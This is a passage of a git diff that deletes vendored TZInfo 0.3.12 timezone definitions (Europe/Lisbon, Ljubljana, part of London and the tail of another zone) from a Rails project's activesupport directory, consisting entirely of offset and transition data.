-          tz.offset :o6, 10800, 3600, :MSD
-          tz.offset :o7, 7200, 3600, :EEST
-          
-          tz.transition 1879, 12, :o1, 52006652969, 21600
-          tz.transition 1924, 5, :o2, 52356400169, 21600
-          tz.transition 1930, 6, :o3, 29113781, 12
-          tz.transition 1941, 9, :o4, 19442059, 8
-          tz.transition 1942, 11, :o5, 58335973, 24
-          tz.transition 1943, 3, :o4, 58339501, 24
-          tz.transition 1943, 10, :o5, 58344037, 24
-          tz.transition 1943, 11, :o3, 58344827, 24
-          tz.transition 1981, 3, :o6, 354920400
-          tz.transition 1981, 9, :o3, 370728000
-          tz.transition 1982, 3, :o6, 386456400
-          tz.transition 1982, 9, :o3, 402264000
-          tz.transition 1983, 3, :o6, 417992400
-          tz.transition 1983, 9, :o3, 433800000
-          tz.transition 1984, 3, :o6, 449614800
-          tz.transition 1984, 9, :o3, 465346800
-          tz.transition 1985, 3, :o6, 481071600
-          tz.transition 1985, 9, :o3, 496796400
-          tz.transition 1986, 3, :o6, 512521200
-          tz.transition 1986, 9, :o3, 528246000
-          tz.transition 1987, 3, :o6, 543970800
-          tz.transition 1987, 9, :o3, 559695600
-          tz.transition 1988, 3, :o6, 575420400
-          tz.transition 1988, 9, :o3, 591145200
-          tz.transition 1989, 3, :o6, 606870000
-          tz.transition 1989, 9, :o3, 622594800
-          tz.transition 1990, 6, :o2, 646786800
-          tz.transition 1992, 3, :o7, 701820000
-          tz.transition 1992, 9, :o2, 717541200
-          tz.transition 1993, 3, :o7, 733269600
-          tz.transition 1993, 9, :o2, 748990800
-          tz.transition 1994, 3, :o7, 764719200
-          tz.transition 1994, 9, :o2, 780440400
-          tz.transition 1995, 3, :o7, 796179600
-          tz.transition 1995, 9, :o2, 811904400
-          tz.transition 1996, 3, :o7, 828234000
-          tz.transition 1996, 10, :o2, 846378000
-          tz.transition 1997, 3, :o7, 859683600
-          tz.transition 1997, 10, :o2, 877827600
-          tz.transition 1998, 3, :o7, 891133200
-          tz.transition 1998, 10, :o2, 909277200
-          tz.transition 1999, 3, :o7, 922582800
-          tz.transition 1999, 10, :o2, 941331600
-          tz.transition 2000, 3, :o7, 954032400
-          tz.transition 2000, 10, :o2, 972781200
-          tz.transition 2001, 3, :o7, 985482000
-          tz.transition 2001, 10, :o2, 1004230800
-          tz.transition 2002, 3, :o7, 1017536400
-          tz.transition 2002, 10, :o2, 1035680400
-          tz.transition 2003, 3, :o7, 1048986000
-          tz.transition 2003, 10, :o2, 1067130000
-          tz.transition 2004, 3, :o7, 1080435600
-          tz.transition 2004, 10, :o2, 1099184400
-          tz.transition 2005, 3, :o7, 1111885200
-          tz.transition 2005, 10, :o2, 1130634000
-          tz.transition 2006, 3, :o7, 1143334800
-          tz.transition 2006, 10, :o2, 1162083600
-          tz.transition 2007, 3, :o7, 1174784400
-          tz.transition 2007, 10, :o2, 1193533200
-          tz.transition 2008, 3, :o7, 1206838800
-          tz.transition 2008, 10, :o2, 1224982800
-          tz.transition 2009, 3, :o7, 1238288400
-          tz.transition 2009, 10, :o2, 1256432400
-          tz.transition 2010, 3, :o7, 1269738000
-          tz.transition 2010, 10, :o2, 1288486800
-          tz.transition 2011, 3, :o7, 1301187600
-          tz.transition 2011, 10, :o2, 1319936400
-          tz.transition 2012, 3, :o7, 1332637200
-          tz.transition 2012, 10, :o2, 1351386000
-          tz.transition 2013, 3, :o7, 1364691600
-          tz.transition 2013, 10, :o2, 1382835600
-          tz.transition 2014, 3, :o7, 1396141200
-          tz.transition 2014, 10, :o2, 1414285200
-          tz.transition 2015, 3, :o7, 1427590800
-          tz.transition 2015, 10, :o2, 1445734800
-          tz.transition 2016, 3, :o7, 1459040400
-          tz.transition 2016, 10, :o2, 1477789200
-          tz.transition 2017, 3, :o7, 1490490000
-          tz.transition 2017, 10, :o2, 1509238800
-          tz.transition 2018, 3, :o7, 1521939600
-          tz.transition 2018, 10, :o2, 1540688400
-          tz.transition 2019, 3, :o7, 1553994000
-          tz.transition 2019, 10, :o2, 1572138000
-          tz.transition 2020, 3, :o7, 1585443600
-          tz.transition 2020, 10, :o2, 1603587600
-          tz.transition 2021, 3, :o7, 1616893200
-          tz.transition 2021, 10, :o2, 1635642000
-          tz.transition 2022, 3, :o7, 1648342800
-          tz.transition 2022, 10, :o2, 1667091600
-          tz.transition 2023, 3, :o7, 1679792400
-          tz.transition 2023, 10, :o2, 1698541200
-          tz.transition 2024, 3, :o7, 1711846800
-          tz.transition 2024, 10, :o2, 1729990800
-          tz.transition 2025, 3, :o7, 1743296400
-          tz.transition 2025, 10, :o2, 1761440400
-          tz.transition 2026, 3, :o7, 1774746000
-          tz.transition 2026, 10, :o2, 1792890000
-          tz.transition 2027, 3, :o7, 1806195600
-          tz.transition 2027, 10, :o2, 1824944400
-          tz.transition 2028, 3, :o7, 1837645200
-          tz.transition 2028, 10, :o2, 1856394000
-          tz.transition 2029, 3, :o7, 1869094800
-          tz.transition 2029, 10, :o2, 1887843600
-          tz.transition 2030, 3, :o7, 1901149200
-          tz.transition 2030, 10, :o2, 1919293200
-          tz.transition 2031, 3, :o7, 1932598800
-          tz.transition 2031, 10, :o2, 1950742800
-          tz.transition 2032, 3, :o7, 1964048400
-          tz.transition 2032, 10, :o2, 1982797200
-          tz.transition 2033, 3, :o7, 1995498000
-          tz.transition 2033, 10, :o2, 2014246800
-          tz.transition 2034, 3, :o7, 2026947600
-          tz.transition 2034, 10, :o2, 2045696400
-          tz.transition 2035, 3, :o7, 2058397200
-          tz.transition 2035, 10, :o2, 2077146000
-          tz.transition 2036, 3, :o7, 2090451600
-          tz.transition 2036, 10, :o2, 2108595600
-          tz.transition 2037, 3, :o7, 2121901200
-          tz.transition 2037, 10, :o2, 2140045200
-          tz.transition 2038, 3, :o7, 59172253, 24
-          tz.transition 2038, 10, :o2, 59177461, 24
-          tz.transition 2039, 3, :o7, 59180989, 24
-          tz.transition 2039, 10, :o2, 59186197, 24
-          tz.transition 2040, 3, :o7, 59189725, 24
-          tz.transition 2040, 10, :o2, 59194933, 24
-          tz.transition 2041, 3, :o7, 59198629, 24
-          tz.transition 2041, 10, :o2, 59203669, 24
-          tz.transition 2042, 3, :o7, 59207365, 24
-          tz.transition 2042, 10, :o2, 59212405, 24
-          tz.transition 2043, 3, :o7, 59216101, 24
-          tz.transition 2043, 10, :o2, 59221141, 24
-          tz.transition 2044, 3, :o7, 59224837, 24
-          tz.transition 2044, 10, :o2, 59230045, 24
-          tz.transition 2045, 3, :o7, 59233573, 24
-          tz.transition 2045, 10, :o2, 59238781, 24
-          tz.transition 2046, 3, :o7, 59242309, 24
-          tz.transition 2046, 10, :o2, 59247517, 24
-          tz.transition 2047, 3, :o7, 59251213, 24
-          tz.transition 2047, 10, :o2, 59256253, 24
-          tz.transition 2048, 3, :o7, 59259949, 24
-          tz.transition 2048, 10, :o2, 59264989, 24
-          tz.transition 2049, 3, :o7, 59268685, 24
-          tz.transition 2049, 10, :o2, 59273893, 24
-          tz.transition 2050, 3, :o7, 59277421, 24
-          tz.transition 2050, 10, :o2, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Lisbon.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Lisbon.rb
deleted file mode 100644
index 1c6d2a3d..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Lisbon.rb
+++ /dev/null
@@ -1,268 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Lisbon
-        include TimezoneDefinition
-        
-        timezone 'Europe/Lisbon' do |tz|
-          tz.offset :o0, -2192, 0, :LMT
-          tz.offset :o1, 0, 0, :WET
-          tz.offset :o2, 0, 3600, :WEST
-          tz.offset :o3, 0, 7200, :WEMT
-          tz.offset :o4, 3600, 0, :CET
-          tz.offset :o5, 3600, 3600, :CEST
-          
-          tz.transition 1912, 1, :o1, 13064773637, 5400
-          tz.transition 1916, 6, :o2, 58104779, 24
-          tz.transition 1916, 11, :o1, 4842337, 2
-          tz.transition 1917, 2, :o2, 58110923, 24
-          tz.transition 1917, 10, :o1, 58116395, 24
-          tz.transition 1918, 3, :o2, 58119707, 24
-          tz.transition 1918, 10, :o1, 58125155, 24
-          tz.transition 1919, 2, :o2, 58128443, 24
-          tz.transition 1919, 10, :o1, 58133915, 24
-          tz.transition 1920, 2, :o2, 58137227, 24
-          tz.transition 1920, 10, :o1, 58142699, 24
-          tz.transition 1921, 2, :o2, 58145987, 24
-          tz.transition 1921, 10, :o1, 58151459, 24
-          tz.transition 1924, 4, :o2, 58173419, 24
-          tz.transition 1924, 10, :o1, 58177763, 24
-          tz.transition 1926, 4, :o2, 58190963, 24
-          tz.transition 1926, 10, :o1, 58194995, 24
-          tz.transition 1927, 4, :o2, 58199531, 24
-          tz.transition 1927, 10, :o1, 58203731, 24
-          tz.transition 1928, 4, :o2, 58208435, 24
-          tz.transition 1928, 10, :o1, 58212635, 24
-          tz.transition 1929, 4, :o2, 58217339, 24
-          tz.transition 1929, 10, :o1, 58221371, 24
-          tz.transition 1931, 4, :o2, 58234811, 24
-          tz.transition 1931, 10, :o1, 58238843, 24
-          tz.transition 1932, 4, :o2, 58243211, 24
-          tz.transition 1932, 10, :o1, 58247579, 24
-          tz.transition 1934, 4, :o2, 58260851, 24
-          tz.transition 1934, 10, :o1, 58265219, 24
-          tz.transition 1935, 3, :o2, 58269419, 24
-          tz.transition 1935, 10, :o1, 58273955, 24
-          tz.transition 1936, 4, :o2, 58278659, 24
-          tz.transition 1936, 10, :o1, 58282691, 24
-          tz.transition 1937, 4, :o2, 58287059, 24
-          tz.transition 1937, 10, :o1, 58291427, 24
-          tz.transition 1938, 3, :o2, 58295627, 24
-          tz.transition 1938, 10, :o1, 58300163, 24
-          tz.transition 1939, 4, :o2, 58304867, 24
-          tz.transition 1939, 11, :o1, 58310075, 24
-          tz.transition 1940, 2, :o2, 58312427, 24
-          tz.transition 1940, 10, :o1, 58317803, 24
-          tz.transition 1941, 4, :o2, 58322171, 24
-          tz.transition 1941, 10, :o1, 58326563, 24
-          tz.transition 1942, 3, :o2, 58330403, 24
-          tz.transition 1942, 4, :o3, 29165705, 12
-          tz.transition 1942, 8, :o2, 29167049, 12
-          tz.transition 1942, 10, :o1, 58335779, 24
-          tz.transition 1943, 3, :o2, 58339139, 24
-          tz.transition 1943, 4, :o3, 29169989, 12
-          tz.transition 1943, 8, :o2, 29171585, 12
-          tz.transition 1943, 10, :o1, 58344683, 24
-          tz.transition 1944, 3, :o2, 58347875, 24
-          tz.transition 1944, 4, :o3, 29174441, 12
-          tz.transition 1944, 8, :o2, 29175953, 12
-          tz.transition 1944, 10, :o1, 58353419, 24
-          tz.transition 1945, 3, :o2, 58356611, 24
-          tz.transition 1945, 4, :o3, 29178809, 12
-          tz.transition 1945, 8, :o2, 29180321, 12
-          tz.transition 1945, 10, :o1, 58362155, 24
-          tz.transition 1946, 4, :o2, 58366019, 24
-          tz.transition 1946, 10, :o1, 58370387, 24
-          tz.transition 1947, 4, :o2, 29187379, 12
-          tz.transition 1947, 10, :o1, 29189563, 12
-          tz.transition 1948, 4, :o2, 29191747, 12
-          tz.transition 1948, 10, :o1, 29193931, 12
-          tz.transition 1949, 4, :o2, 29196115, 12
-          tz.transition 1949, 10, :o1, 29198299, 12
-          tz.transition 1951, 4, :o2, 29204851, 12
-          tz.transition 1951, 10, :o1, 29207119, 12
-          tz.transition 1952, 4, :o2, 29209303, 12
-          tz.transition 1952, 10, :o1, 29211487, 12
-          tz.transition 1953, 4, :o2, 29213671, 12
-          tz.transition 1953, 10, :o1, 29215855, 12
-          tz.transition 1954, 4, :o2, 29218039, 12
-          tz.transition 1954, 10, :o1, 29220223, 12
-          tz.transition 1955, 4, :o2, 29222407, 12
-          tz.transition 1955, 10, :o1, 29224591, 12
-          tz.transition 1956, 4, :o2, 29226775, 12
-          tz.transition 1956, 10, :o1, 29229043, 12
-          tz.transition 1957, 4, :o2, 29231227, 12
-          tz.transition 1957, 10, :o1, 29233411, 12
-          tz.transition 1958, 4, :o2, 29235595, 12
-          tz.transition 1958, 10, :o1, 29237779, 12
-          tz.transition 1959, 4, :o2, 29239963, 12
-          tz.transition 1959, 10, :o1, 29242147, 12
-          tz.transition 1960, 4, :o2, 29244331, 12
-          tz.transition 1960, 10, :o1, 29246515, 12
-          tz.transition 1961, 4, :o2, 29248699, 12
-          tz.transition 1961, 10, :o1, 29250883, 12
-          tz.transition 1962, 4, :o2, 29253067, 12
-          tz.transition 1962, 10, :o1, 29255335, 12
-          tz.transition 1963, 4, :o2, 29257519, 12
-          tz.transition 1963, 10, :o1, 29259703, 12
-          tz.transition 1964, 4, :o2, 29261887, 12
-          tz.transition 1964, 10, :o1, 29264071, 12
-          tz.transition 1965, 4, :o2, 29266255, 12
-          tz.transition 1965, 10, :o1, 29268439, 12
-          tz.transition 1966, 4, :o4, 29270623, 12
-          tz.transition 1976, 9, :o1, 212544000
-          tz.transition 1977, 3, :o2, 228268800
-          tz.transition 1977, 9, :o1, 243993600
-          tz.transition 1978, 4, :o2, 260323200
-          tz.transition 1978, 10, :o1, 276048000
-          tz.transition 1979, 4, :o2, 291772800
-          tz.transition 1979, 9, :o1, 307501200
-          tz.transition 1980, 3, :o2, 323222400
-          tz.transition 1980, 9, :o1, 338950800
-          tz.transition 1981, 3, :o2, 354675600
-          tz.transition 1981, 9, :o1, 370400400
-          tz.transition 1982, 3, :o2, 386125200
-          tz.transition 1982, 9, :o1, 401850000
-          tz.transition 1983, 3, :o2, 417578400
-          tz.transition 1983, 9, :o1, 433299600
-          tz.transition 1984, 3, :o2, 449024400
-          tz.transition 1984, 9, :o1, 465354000
-          tz.transition 1985, 3, :o2, 481078800
-          tz.transition 1985, 9, :o1, 496803600
-          tz.transition 1986, 3, :o2, 512528400
-          tz.transition 1986, 9, :o1, 528253200
-          tz.transition 1987, 3, :o2, 543978000
-          tz.transition 1987, 9, :o1, 559702800
-          tz.transition 1988, 3, :o2, 575427600
-          tz.transition 1988, 9, :o1, 591152400
-          tz.transition 1989, 3, :o2, 606877200
-          tz.transition 1989, 9, :o1, 622602000
-          tz.transition 1990, 3, :o2, 638326800
-          tz.transition 1990, 9, :o1, 654656400
-          tz.transition 1991, 3, :o2, 670381200
-          tz.transition 1991, 9, :o1, 686106000
-          tz.transition 1992, 3, :o2, 701830800
-          tz.transition 1992, 9, :o4, 717555600
-          tz.transition 1993, 3, :o5, 733280400
-          tz.transition 1993, 9, :o4, 749005200
-          tz.transition 1994, 3, :o5, 764730000
-          tz.transition 1994, 9, :o4, 780454800
-          tz.transition 1995, 3, :o5, 796179600
-          tz.transition 1995, 9, :o4, 811904400
-          tz.transition 1996, 3, :o2, 828234000
-          tz.transition 1996, 10, :o1, 846378000
-          tz.transition 1997, 3, :o2, 859683600
-          tz.transition 1997, 10, :o1, 877827600
-          tz.transition 1998, 3, :o2, 891133200
-          tz.transition 1998, 10, :o1, 909277200
-          tz.transition 1999, 3, :o2, 922582800
-          tz.transition 1999, 10, :o1, 941331600
-          tz.transition 2000, 3, :o2, 954032400
-          tz.transition 2000, 10, :o1, 972781200
-          tz.transition 2001, 3, :o2, 985482000
-          tz.transition 2001, 10, :o1, 1004230800
-          tz.transition 2002, 3, :o2, 1017536400
-          tz.transition 2002, 10, :o1, 1035680400
-          tz.transition 2003, 3, :o2, 1048986000
-          tz.transition 2003, 10, :o1, 1067130000
-          tz.transition 2004, 3, :o2, 1080435600
-          tz.transition 2004, 10, :o1, 1099184400
-          tz.transition 2005, 3, :o2, 1111885200
-          tz.transition 2005, 10, :o1, 1130634000
-          tz.transition 2006, 3, :o2, 1143334800
-          tz.transition 2006, 10, :o1, 1162083600
-          tz.transition 2007, 3, :o2, 1174784400
-          tz.transition 2007, 10, :o1, 1193533200
-          tz.transition 2008, 3, :o2, 1206838800
-          tz.transition 2008, 10, :o1, 1224982800
-          tz.transition 2009, 3, :o2, 1238288400
-          tz.transition 2009, 10, :o1, 1256432400
-          tz.transition 2010, 3, :o2, 1269738000
-          tz.transition 2010, 10, :o1, 1288486800
-          tz.transition 2011, 3, :o2, 1301187600
-          tz.transition 2011, 10, :o1, 1319936400
-          tz.transition 2012, 3, :o2, 1332637200
-          tz.transition 2012, 10, :o1, 1351386000
-          tz.transition 2013, 3, :o2, 1364691600
-          tz.transition 2013, 10, :o1, 1382835600
-          tz.transition 2014, 3, :o2, 1396141200
-          tz.transition 2014, 10, :o1, 1414285200
-          tz.transition 2015, 3, :o2, 1427590800
-          tz.transition 2015, 10, :o1, 1445734800
-          tz.transition 2016, 3, :o2, 1459040400
-          tz.transition 2016, 10, :o1, 1477789200
-          tz.transition 2017, 3, :o2, 1490490000
-          tz.transition 2017, 10, :o1, 1509238800
-          tz.transition 2018, 3, :o2, 1521939600
-          tz.transition 2018, 10, :o1, 1540688400
-          tz.transition 2019, 3, :o2, 1553994000
-          tz.transition 2019, 10, :o1, 1572138000
-          tz.transition 2020, 3, :o2, 1585443600
-          tz.transition 2020, 10, :o1, 1603587600
-          tz.transition 2021, 3, :o2, 1616893200
-          tz.transition 2021, 10, :o1, 1635642000
-          tz.transition 2022, 3, :o2, 1648342800
-          tz.transition 2022, 10, :o1, 1667091600
-          tz.transition 2023, 3, :o2, 1679792400
-          tz.transition 2023, 10, :o1, 1698541200
-          tz.transition 2024, 3, :o2, 1711846800
-          tz.transition 2024, 10, :o1, 1729990800
-          tz.transition 2025, 3, :o2, 1743296400
-          tz.transition 2025, 10, :o1, 1761440400
-          tz.transition 2026, 3, :o2, 1774746000
-          tz.transition 2026, 10, :o1, 1792890000
-          tz.transition 2027, 3, :o2, 1806195600
-          tz.transition 2027, 10, :o1, 1824944400
-          tz.transition 2028, 3, :o2, 1837645200
-          tz.transition 2028, 10, :o1, 1856394000
-          tz.transition 2029, 3, :o2, 1869094800
-          tz.transition 2029, 10, :o1, 1887843600
-          tz.transition 2030, 3, :o2, 1901149200
-          tz.transition 2030, 10, :o1, 1919293200
-          tz.transition 2031, 3, :o2, 1932598800
-          tz.transition 2031, 10, :o1, 1950742800
-          tz.transition 2032, 3, :o2, 1964048400
-          tz.transition 2032, 10, :o1, 1982797200
-          tz.transition 2033, 3, :o2, 1995498000
-          tz.transition 2033, 10, :o1, 2014246800
-          tz.transition 2034, 3, :o2, 2026947600
-          tz.transition 2034, 10, :o1, 2045696400
-          tz.transition 2035, 3, :o2, 2058397200
-          tz.transition 2035, 10, :o1, 2077146000
-          tz.transition 2036, 3, :o2, 2090451600
-          tz.transition 2036, 10, :o1, 2108595600
-          tz.transition 2037, 3, :o2, 2121901200
-          tz.transition 2037, 10, :o1, 2140045200
-          tz.transition 2038, 3, :o2, 59172253, 24
-          tz.transition 2038, 10, :o1, 59177461, 24
-          tz.transition 2039, 3, :o2, 59180989, 24
-          tz.transition 2039, 10, :o1, 59186197, 24
-          tz.transition 2040, 3, :o2, 59189725, 24
-          tz.transition 2040, 10, :o1, 59194933, 24
-          tz.transition 2041, 3, :o2, 59198629, 24
-          tz.transition 2041, 10, :o1, 59203669, 24
-          tz.transition 2042, 3, :o2, 59207365, 24
-          tz.transition 2042, 10, :o1, 59212405, 24
-          tz.transition 2043, 3, :o2, 59216101, 24
-          tz.transition 2043, 10, :o1, 59221141, 24
-          tz.transition 2044, 3, :o2, 59224837, 24
-          tz.transition 2044, 10, :o1, 59230045, 24
-          tz.transition 2045, 3, :o2, 59233573, 24
-          tz.transition 2045, 10, :o1, 59238781, 24
-          tz.transition 2046, 3, :o2, 59242309, 24
-          tz.transition 2046, 10, :o1, 59247517, 24
-          tz.transition 2047, 3, :o2, 59251213, 24
-          tz.transition 2047, 10, :o1, 59256253, 24
-          tz.transition 2048, 3, :o2, 59259949, 24
-          tz.transition 2048, 10, :o1, 59264989, 24
-          tz.transition 2049, 3, :o2, 59268685, 24
-          tz.transition 2049, 10, :o1, 59273893, 24
-          tz.transition 2050, 3, :o2, 59277421, 24
-          tz.transition 2050, 10, :o1, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Ljubljana.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Ljubljana.rb
deleted file mode 100644
index a9828e6e..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Ljubljana.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Ljubljana
-        include TimezoneDefinition
-        
-        linked_timezone 'Europe/Ljubljana', 'Europe/Belgrade'
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/London.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/London.rb
deleted file mode 100644
index 64ce41e9..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/London.rb
+++ /dev/null
@@ -1,288 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module London
-        include TimezoneDefinition
-        
-        timezone 'Europe/London' do |tz|
-          tz.offset :o0, -75, 0, :LMT
-          tz.offset :o1, 0, 0, :GMT
-          tz.offset :o2, 0, 3600, :BST
-          tz.offset :o3, 0, 7200, :BDST
-          tz.offset :o4, 3600, 0, :BST
-          
-          tz.transition 1847, 12, :o1, 2760187969, 1152
-          tz.transition 1916, 5, :o2, 29052055, 12
-          tz.transition 1916, 10, :o1, 29053651, 12
-          tz.transition 1917, 4, :o2, 29055919, 12
-          tz.transition 1917, 9, :o1, 29057863, 12
-          tz.transition 1918, 3, :o2, 29060119, 12
-          tz.transition 1918, 9, :o1, 29062399, 12
-          tz.transition 1919, 3, :o2, 29064571, 12
-          tz.transition 1919, 9, :o1, 29066767, 12
-          tz.transition 1920, 3, :o2, 29068939, 12
-          tz.transition 1920, 10, :o1, 29071471, 12
-          tz.transition 1921, 4, :o2, 29073391, 12
-          tz.transition 1921, 10, :o1, 29075587, 12
-          tz.transition 1922, 3, :o2, 29077675, 12
-          tz.transition 1922, 10, :o1, 29080027, 12
-          tz.transition 1923, 4, :o2, 29082379, 12
-          tz.transition 1923, 9, :o1, 29084143, 12
-          tz.transition 1924, 4, :o2, 29086663, 12
-          tz.transition 1924, 9, :o1, 29088595, 12
-          tz.transition 1925, 4, :o2, 29091115, 12
-          tz.transition 1925, 10, :o1, 29093131, 12
-          tz.transition 1926, 4, :o2, 29095483, 12
-          tz.transition 1926, 10, :o1, 29097499, 12
-          tz.transition 1927, 4, :o2, 29099767, 12
-          tz.transition 1927, 10, :o1, 29101867, 12
-          tz.transition 1928, 4, :o2, 29104303, 12
-          tz.transition 1928, 10, :o1, 29106319, 12
-          tz.transition 1929, 4, :o2, 29108671, 12
-          tz.transition 1929, 10, :o1, 29110687, 12
-          tz.transition 1930, 4, :o2, 29112955, 12
-          tz.transition 1930, 10, :o1, 29115055, 12
-          tz.transition 1931, 4, :o2, 29117407, 12
-          tz.transition 1931, 10, :o1, 29119423, 12
-          tz.transition 1932, 4, :o2, 29121775, 12
-          tz.transition 1932, 10, :o1, 29123791, 12
-          tz.transition 1933, 4, :o2, 29126059, 12
-          tz.transition 1933, 10, :o1, 29128243, 12
-          tz.transition 1934, 4, :o2, 29130595, 12
-          tz.transition 1934, 10, :o1, 29132611, 12
-          tz.transition 1935, 4, :o2, 29134879, 12
-          tz.transition 1935, 10, :o1, 29136979, 12
-          tz.transition 1936, 4, :o2, 29139331, 12
-          tz.transition 1936, 10, :o1, 29141347, 12
-          tz.transition 1937, 4, :o2, 29143699, 12
-          tz.transition 1937, 10, :o1, 29145715, 12
-          tz.transition 1938, 4, :o2, 29147983, 12
-          tz.transition 1938, 10, :o1, 29150083, 12
-          tz.transition 1939, 4, :o2, 29152435, 12
-          tz.transition 1939, 11, :o1, 29155039, 12
-          tz.transition 1940, 2, :o2, 29156215, 12
-          tz.transition 1941, 5, :o3, 58322845, 24
-          tz.transition 1941, 8, :o2, 58325197, 24
-          tz.transition 1942, 4, :o3, 58330909, 24
-          tz.transition 1942, 8, :o2, 58333933, 24
-          tz.transition 1943, 4, :o3, 58339645, 24
-          tz.transition 1943, 8, :o2, 58342837, 24
-          tz.transition 1944, 4, :o3, 58348381, 24
-          tz.transition 1944, 9, :o2, 58352413, 24
-          tz.transition 1945, 4, :o3, 58357141, 24
-          tz.transition 1945, 7, :o2, 58359637, 24
-          tz.transition 1945, 10, :o1, 29180827, 12
-          tz.transition 1946, 4, :o2, 29183095, 12
-          tz.transition 1946, 10, :o1, 29185195, 12
-          tz.transition 1947, 3, :o2, 29187127, 12
-          tz.transition 1947, 4, :o3, 58374925, 24
-          tz.transition 1947, 8, :o2, 58377781, 24
-          tz.transition 1947, 11, :o1, 29189899, 12
-          tz.transition 1948, 3, :o2, 29191495, 12
-          tz.transition 1948, 10, :o1, 29194267, 12
-          tz.transition 1949, 4, :o2, 29196115, 12
-          tz.transition 1949, 10, :o1, 29198635, 12
-          tz.transition 1950, 4, :o2, 29200651, 12
-          tz.transition 1950, 10, :o1, 29202919, 12
-          tz.transition 1951, 4, :o2, 29205019, 12
-          tz.transition 1951, 10, :o1, 29207287, 12
-          tz.transition 1952, 4, :o2, 29209471, 12
-          tz.transition 1952, 10, :o1, 29211739, 12
-          tz.transition 1953, 4, :o2, 29213839, 12
-          tz.transition 1953, 10, :o1, 29215855, 12
-          tz.transition 1954, 4, :o2, 29218123, 12
-          tz.transition 1954, 10, :o1, 29220223, 12
-          tz.transition 1955, 4, :o2, 29222575, 12
-          tz.transition 1955, 10, :o1, 29224591, 12
-          tz.transition 1956, 4, :o2, 29227027, 12
-          tz.transition 1956, 10, :o1, 29229043, 12
-          tz.transition 1957, 4, :o2, 29231311, 12
-          tz.transition 1957, 10, :o1, 29233411, 12
-          tz.transition 1958, 4, :o2, 29235763, 12
-          tz.transition 1958, 10, :o1, 29237779, 12
-          tz.transition 1959, 4, :o2, 29240131, 12
-          tz.transition 1959, 10, :o1, 29242147, 12
-          tz.transition 1960, 4, :o2, 29244415, 12
-          tz.transition 1960, 10, :o1, 29246515, 12
-          tz.transition 1961, 3, :o2, 29248615, 12
-          tz.transition 1961, 10, :o1, 29251219, 12
-          tz.transition 1962, 3, :o2, 29252983, 12
-          tz.transition 1962, 10, :o1, 29255587, 12
-          tz.transition 1963, 3, :o2, 29257435, 12
-          tz.transition 1963, 10, :o1, 29259955, 12
-          tz.transition 1964, 3, :o2, 29261719, 12
-          tz.transition 1964, 10, :o1, 29264323, 12
-          tz.transition 1965, 3, :o2, 29266087, 12
-          tz.transition 1965, 10, :o1, 29268691, 12
-          tz.transition 1966, 3, :o2, 29270455, 12
-          tz.transition 1966, 10, :o1, 29273059, 12
-          tz.transition 1967, 3, :o2, 29274823, 12
-          tz.transition 1967, 10, :o1, 29277511, 12
-          tz.transition 1968, 2, :o2, 29278855, 12
-          tz.transition 1968, 10, :o4, 58563755, 24
-          tz.transition 1971, 10, :o1, 57722400
-          tz.transition 1972, 3, :o2, 69818400
-          tz.transition 1972, 10, :o1, 89172000
-          tz.transition 1973, 3, :o2, 101268000
-          tz.transition 1973, 10, :o1, 120621600
-          tz.transition 1974, 3, :o2, 132717600
-          tz.transition 1974, 10, :o1, 152071200
-          tz.transition 1975, 3, :o2, 164167200
-          tz.transition 1975, 10, :o1, 183520800
-          tz.transition 1976, 3, :o2, 196221600
-          tz.transition 1976, 10, :o1, 214970400
-          tz.transition 1977, 3, :o2, 227671200
-          tz.transition 1977, 10, :o1, 246420000
-          tz.transition 1978, 3, :o2, 259120800
-          tz.transition 1978, 10, :o1, 278474400
-          tz.transition 1979, 3, :o2, 290570400
-          tz.transition 1979, 10, :o1, 309924000
-          tz.transition 1980, 3, :o2, 322020000
-          tz.transition 1980, 10, :o1, 341373600
-          tz.transition 1981, 3, :o2, 354675600
-          tz.transition 1981, 10, :o1, 372819600
-          tz.transition 1982, 3, :o2, 386125200
-          tz.transition 1982, 10, :o1, 404269200
-          tz.transition 1983, 3, :o2, 417574800
-          tz.transition 1983, 10, :o1, 435718800
-          tz.transition 1984, 3, :o2, 449024400
-          tz.transition 1984, 10, :o1, 467773200
-          tz.transition 1985, 3, :o2, 481078800
-          tz.transition 1985, 10, :o1, 499222800
-          tz.transition 1986, 3, :o2, 512528400
-          tz.transition 1986, 10, :o1, 530672400
-          tz.transition 1987, 3, :o2, 543978000
-          tz.transition 1987, 10, :o1, 562122000
-          tz.transition 1988, 3, :o2, 575427600
-          tz.transition 1988, 10, :o1, 593571600
-          tz.transition 1989, 3, :o2, 606877200
-          tz.transition 1989, 10, :o1, 625626000
-          tz.transition 1990, 3, :o2, 638326800
-          tz.transition 1990, 10, :o1, 657075600
-          tz.transition 1991, 3, :o2, 670381200
-          tz.transition 1991, 10, :o1, 688525200
-          tz.transition 1992, 3, :o2, 701830800
-          tz.transition 1992, 10, :o1, 719974800
-          tz.transition 1993, 3, :o2, 733280400
-          tz.transition 1993, 10, :o1, 751424400
-          tz.transition 1994, 3, :o2, 764730000
-          tz.transition 1994, 10, :o1, 782874000
-          tz.transition 1995, 3, :o2, 796179600
-          tz.transition 1995, 10, :o1, 814323600
-          tz.transition 1996, 3, :o2, 828234000
-          tz.transition 1996, 10, :o1, 846378000
-          tz.transition 1997, 3, :o2, 859683600
